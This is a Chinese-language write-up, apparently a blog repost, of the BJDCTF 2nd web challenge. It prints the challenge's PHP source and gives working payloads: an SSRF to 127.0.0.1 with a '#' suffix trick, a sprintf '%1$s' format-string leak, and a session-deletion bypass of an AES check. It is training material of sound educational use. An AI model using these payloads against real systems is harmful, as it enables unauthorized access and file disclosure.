[BJDCTF 2nd]:文件探测 -- springf()注入漏洞 ---PHP伪协议文件读取 ---ssrf ----PHP代码审计----session密码算法绕过

参考自:
https://www.cnblogs.com/yesec/p/12554957.html
https://www.yuque.com/jxswcy/buuoj-wp/ns11ks

1. 自己做:

勉强做到伪协议读取文件,还没有去读完全。。

2. 学到的&&不足:

  1. 伪协议读取文件的时候,多想想,把文件给读取全了,别没读取完全,就开始下一步了。
  2. sprintf()函数的注入漏洞,,
  3. php代码审计,审计一些过滤什么的
  4. PHP代码审计,审计那个密码。密码算法是如何实现的,以及我们怎么样去绕过,
  5. ssrf实现对remote_addr的绕过, 之前班长出的那个python反序列化的那个题也是有这个小的考点。
  6. session的内容存储在cookie的PHPSESSIONID中,但是加密解密的方法我们一般不清楚,所以很难去伪造,除非题目给了源码算法,所以我们不要轻易去对PHPSESSIONID下手,
  7. #或者变量 都可以除掉 url 后面的无用字符:
    访问网页的时候,后面用 #这个定位符可以使得后面的内容失效。
    也可以用参数的形式使其失效
    比如:
    q2必须以http://127.0.0.1/开头,不能包含flag顺序出现的字符,后面会拼接y1ng.txt,我们用#注释掉拼接信息,即传入参数http://127.0.0.1/admin.php#,最后执行http://127.0.0.1/admin.php#.y1ng.txt,或者用http://127.0.0.1/admin.php?,最后执行http://127.0.0.1/admin.php?.y1ng.txt;或者http://127.0.0.1/admin.php?a=,最后执行http://127.0.0.1/admin.php?a=.y1ng.txt。然后最终的最终,都是顺利访问http://127.0.0.1/admin.php。也就完成了对后面无用字符的去除了。

3. 学习WP;

伪协议那里就不写了,

home.php

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    
    
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
    
    
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
    
    
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
    
    
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
    
    
        die("禁止套娃");
    }

    else{
    
    
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
    
    
            $file = $_GET['file'].".php";
        }
        else{
    
    
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    
    
    echo "<script>location.href='./home.php?file=system'</script>";
}

system.php

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    
    
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
省略html代码
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i'; # 必须以http://127.0.0.1开头
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    
    
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1,$url) ){
    
    # q2中必须是http://127.0.0.1开头的
        die($str2);
    }
    if (preg_match($filter2, $url)) {
    
    # q2请求中不能有flag的字样
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
    
    
        die($str4);#q3中必须以get或者post开头,
    }
    $detect = @file_get_contents($url, false);# 读取url的内容,这里应该就是读取flag了啊,但是还不能有 flag 的字样,,真是,,
    print(sprintf("$url method&content_size:$method%d", $detect));
}

审计PHP代码,主要是后边一部分。
q1没有什么过滤,
q2后面给我们加上了些无用的字符。而后q2变成url。q2中也不能够有 flag 的字样。
?????
q2必须以http://127.0.0.1/开头,这个相当于限制了只能够通过SSRF来读取文件了??????。我怎么不明白啊。??

q3中需要以 get或这个post开头,

然后说,同伙home.php的源码,可以猜测有 admin.php文件,。我不知道咋看出来的啦,,,

访问admin.php。
在这里插入图片描述就是ssrf来伪造一下IP地址。

然后就是sprintf()的知识了:

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

method是以get或者post开头,然后后面可以添加我们的字符串。
%d会将$detect(即源码,网页内容)以二进制数的形式输出,所以并不能得到我们需要的源码。

而主要思路就是让$detect以字符串的形式(%s) 来输出,我们有两种读取admin.php源码的方法。
No.1:
1. %1$s这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:

print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  
// %1$s会以字符串格式输出$detect,而%d会输出0

No.2:
2. %s% —— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:

print(sprintf("$url method&content_size:"GET%s%%d", $detect)); 
 // %d前的%被转义,因此失

构造出Payload,POST发送给system.php即可获得admin.php的源码:

q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s 

得到admin.php的源码:

admin.php

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    
    
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    
    
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}
#只能够通过本地访问,也就是ssrf通过127.0.0.1来实现读取
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    
    
    highlight_file(__FILE__);
} else {
    
    
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    
       //只要传入decrypt参数就不会生成随机数
    $decr = $_GET['decrypt'];
    if (Check()){
    
    
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');  //注意!这里加密的内容是从SESSION中取的,突破点就在这里
        if ($decr === $cipher){
    
    
            echo WHAT_YOU_WANT;
        } else {
    
    
            die('爬');
        }
    } else{
    
    
        header("Refresh:0.1;url=index.php");
    }
} else {
    
    
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));   //这里的种子是真随机了,无法爆破
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}

我们需要让$decr === $cipher成立,而$decr = $_GET['decrypt'];$cipher = aesEn($data, 'y1ng');$data = $_SESSION['secret'];$_SESSION['secret'] = bin2hex(random_bytes($length));
$_GET['decrypt'] === aesEn(bin2hex(random_bytes($length)), 'y1ng')
因为random_bytes($length)不可控,如果删除session,即只用实现$_GET['decrypt'] === aesEn('', 'y1ng')

我们将IP地址172.16.128.254md5()加密值y1ngsha(md5())加密值留在Cookie,Cookie的PHPSESSID删除

然后通过下面代码进行ACE加密得到:OGiyKXIyhghrDCtpomyQ6A==

将不可控的data变成了空,然后计算出 data 位 null 时 ACE 加密的东西,,
然后删除cookie中的PHP SESSIONID ,使得 $_SESSION['secret']为空,
也就是 使得 源程序中的 data 为空,源程序的ACE加密也变成了data 为空的一个加密算法了,
然后我们传入detect 就能够出flag了

function aesEn($data, $key){
    
    
    $method = 'AES-128-CBC';
    $iv = md5('172.16.128.254',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('', 'y1ng');

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114808994